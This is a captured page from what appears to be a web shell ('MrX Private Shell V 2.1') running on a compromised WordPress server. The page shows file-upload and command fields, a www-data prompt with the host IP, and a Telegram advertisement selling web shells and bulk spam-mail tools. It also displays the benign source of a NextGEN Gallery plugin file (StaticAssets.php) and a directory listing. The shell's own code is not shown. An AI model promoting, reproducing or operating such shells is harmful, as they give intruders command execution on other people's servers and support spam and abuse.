__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

namespace Imagely\NGG\Display;

class StaticAssets {

	public static $default_plugin_root    = NGG_PLUGIN_DIR;
	public static $new_override_path_name = 'nextgen-gallery-static-overrides';

	/**
	 * @param string       $filename
	 * @param false|string $legacy_module_id
	 * @return string
	 */
	public static function get_url( $filename, $legacy_module_id = false ) {
		$retval = self::get_abspath( $filename, $legacy_module_id );

		// Allow for overrides from WP_CONTENT/ngg/.
		if ( \strpos( $retval, \path_join( WP_CONTENT_DIR, 'ngg' ) ) !== false ) {
			$retval = \str_replace( \wp_normalize_path( WP_CONTENT_DIR ), WP_CONTENT_URL, $retval );
		}

		// Normal plugin distributed files.
		$retval = \str_replace( \wp_normalize_path( WP_PLUGIN_DIR ), WP_PLUGIN_URL, $retval );

		return \is_ssl() ? \str_replace( 'http:', 'https:', $retval ) : $retval;
	}

	/**
	 * @param string       $filename
	 * @param false|string $legacy_module_id
	 * @return string
	 */
	public static function get_abspath( $filename, $legacy_module_id = false ) {
		static $cache = [];

		$key = $filename . (string) $legacy_module_id;

		if ( ! isset( $cache[ $key ] ) ) {
			$cache[ $key ] = static::get_computed_abspath( $filename, $legacy_module_id );
		}

		return $cache[ $key ];
	}

	/**
	 * @param string       $filename
	 * @param false|string $legacy_module_id
	 * @return string
	 */
	public static function get_computed_abspath( $filename, $legacy_module_id = false ) {
		$files = [
			'new_paths' => \path_join( WP_CONTENT_DIR, static::$new_override_path_name . DIRECTORY_SEPARATOR . $filename ),
			'default'   => \path_join( static::$default_plugin_root, 'static' . DIRECTORY_SEPARATOR . $filename ),
		];

		if ( ! empty( $legacy_module_id ) ) {
			$files['legacy'] = StaticPopeAssets::get_computed_abspath( $filename, $legacy_module_id );
		}

		$retval = '';

		foreach ( $files as $label => $filename ) {
			if ( @\stream_resolve_include_path( $filename ) ) {
				$retval = $filename;
				break;
			}
		}

		if ( is_string( $retval ) ) {
			// Adjust for windows paths.
			return \wp_normalize_path( $retval );
		} else {
			return $retval;
		}
	}
}

Filemanager

Name Type Size Permission Actions
DisplayManager.php File 24.9 KB 0644
I18N.php File 14.42 KB 0644
LightboxManager.php File 11.35 KB 0644
ResourceManager.php File 9.23 KB 0644
Shortcodes.php File 10.46 KB 0644
StaticAssets.php File 2.1 KB 0644
StaticPopeAssets.php File 3.2 KB 0644
View.php File 11.5 KB 0644
ViewElement.php File 1.63 KB 0644
Filemanager